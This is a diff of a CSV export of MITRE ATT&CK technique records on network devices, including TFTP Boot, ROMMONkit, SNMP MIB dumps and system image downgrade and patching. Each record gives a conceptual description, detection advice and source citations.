'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Secure Boot', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#35'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Boot Information', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#26'}]",1.0,attack-pattern,attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:06:56.180Z,2020-10-22T16:35:53.806Z,TFTP Boot,"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images. -Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4,attack-pattern,"['defense-evasion', 'persistence']",2020-10-22T16:35:53.806Z,2020-10-20T00:06:56.180Z,"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) +Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)","['defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1542/005,mitre-attack,T1542.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification']",,"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) -Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.","['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification']",,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1542.004', 'url': 'https://attack.mitre.org/techniques/T1542/004'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1542/004,mitre-attack,T1542.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,ROMMONkit,"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) +Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/004', 'external_id': 'T1542.004'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",1.0,attack-pattern,attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:05:48.790Z,2020-10-22T02:18:19.568Z,ROMMONkit,"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) -ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc,attack-pattern,"['defense-evasion', 'persistence']",2020-10-22T02:18:19.568Z,2020-10-20T00:05:48.790Z,"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",['Firmware: Firmware Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1602.001', 'url': 'https://attack.mitre.org/techniques/T1602/001'}, {'source_name': 'SANS Information Security Reading Room Securing SNMP Securing SNMP', 'url': 'https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051', 'description': 'Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.'}, {'source_name': 'US-CERT-TA18-106A', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}, {'source_name': 'Cisco Advisory SNMP v3 Authentication Vulnerabilities', 'url': 'https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3', 'description': 'Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1602/001,mitre-attack,T1602.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SNMP (MIB Dump),"Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). +ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.","['defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1542/004,mitre-attack,T1542.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Firmware: Firmware Modification'],,"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1602/001', 'external_id': 'T1602.001'}, {'source_name': 'SANS Information Security Reading Room Securing SNMP Securing SNMP', 'description': 'Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.', 'url': 'https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051'}, {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'Cisco Advisory SNMP v3 Authentication Vulnerabilities', 'description': 'Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3'}]",1.0,attack-pattern,attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T23:51:05.953Z,2020-10-22T01:54:22.812Z,SNMP (MIB Dump),"Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details. -Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5,attack-pattern,['collection'],2020-10-22T01:54:22.812Z,2020-10-19T23:51:05.953Z,Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1602', 'url': 'https://attack.mitre.org/techniques/T1602'}, {'source_name': 'US-CERT-TA18-106A', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.'}, {'source_name': 'US-CERT TA17-156A SNMP Abuse 2017', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA17-156A', 'description': 'US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Advisory SNMP v3 Authentication Vulnerabilities', 'url': 'https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3', 'description': 'Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,False,https://attack.mitre.org/techniques/T1602,mitre-attack,T1602,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Configuration Repository,"Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. +Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",['collection'],https://attack.mitre.org/techniques/T1602/001,mitre-attack,T1602.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1602', 'external_id': 'T1602'}, {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'}, {'source_name': 'US-CERT TA17-156A SNMP Abuse 2017', 'description': 'US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA17-156A'}, {'source_name': 'Cisco Advisory SNMP v3 Authentication Vulnerabilities', 'description': 'Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3'}]",1.0,attack-pattern,attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T23:46:13.931Z,2020-10-22T02:26:44.566Z,Data from Configuration Repository,"Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. -Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74,attack-pattern,['collection'],2020-10-22T02:26:44.566Z,2020-10-19T23:46:13.931Z,Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1601.002', 'url': 'https://attack.mitre.org/techniques/T1601/002'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1601/002,mitre-attack,T1601.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Downgrade System Image,"Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) +Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",['collection'],https://attack.mitre.org/techniques/T1602,mitre-attack,T1602,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),False,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1601/002', 'external_id': 'T1601.002'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}]",1.0,attack-pattern,attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:53:10.576Z,2020-10-22T17:49:02.660Z,Downgrade System Image,"Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. -Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ",attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d,attack-pattern,['defense-evasion'],2020-10-22T17:49:02.660Z,2020-10-19T19:53:10.576Z,"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",['File: File Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1601.001', 'url': 'https://attack.mitre.org/techniques/T1601/001'}, {'source_name': 'Killing the myth of Cisco IOS rootkits', 'url': 'https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf', 'description': ""Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.""}, {'source_name': 'Killing IOS diversity myth', 'url': 'https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf', 'description': 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.'}, {'source_name': 'Cisco IOS Shellcode', 'url': 'http://2015.zeronights.org/assets/files/05-Nosenko.pdf', 'description': 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.'}, {'source_name': 'Cisco IOS Forensics Developments', 'url': 'https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf', 'description': ""Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.""}, {'source_name': 'Juniper Netscreen of the Dead', 'url': 'https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf', 'description': 'Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1601/001,mitre-attack,T1601.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Patch System Image,"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. +Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ",['defense-evasion'],https://attack.mitre.org/techniques/T1601/002,mitre-attack,T1601.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",True,['Administrator'],['Network'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1601/001', 'external_id': 'T1601.001'}, {'source_name': 'Killing the myth of Cisco IOS rootkits', 'description': ""Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."", 'url': 'https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf'}, {'source_name': 'Killing IOS diversity myth', 'description': 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.', 'url': 'https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf'}, {'source_name': 'Cisco IOS Shellcode', 'description': 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.', 'url': 'http://2015.zeronights.org/assets/files/05-Nosenko.pdf'}, {'source_name': 'Cisco IOS Forensics Developments', 'description': ""Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."", 'url': 'https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf'}, {'source_name': 'Juniper Netscreen of the Dead', 'description': 'Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.', 'url': 'https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}]",1.0,attack-pattern,attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:49:24.129Z,2020-10-22T17:50:46.560Z,Patch System Image,"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. @@ -199,54 +308,54 @@ Adversaries may also compromise existing commands in the operating system to pro When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). -When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f,attack-pattern,['defense-evasion'],2020-10-22T17:50:46.560Z,2020-10-19T19:49:24.129Z,"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) +When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",['defense-evasion'],https://attack.mitre.org/techniques/T1601/001,mitre-attack,T1601.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) -Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",['File: File Modification'],,,['Administrator'],['Network'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1601', 'url': 'https://attack.mitre.org/techniques/T1601'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 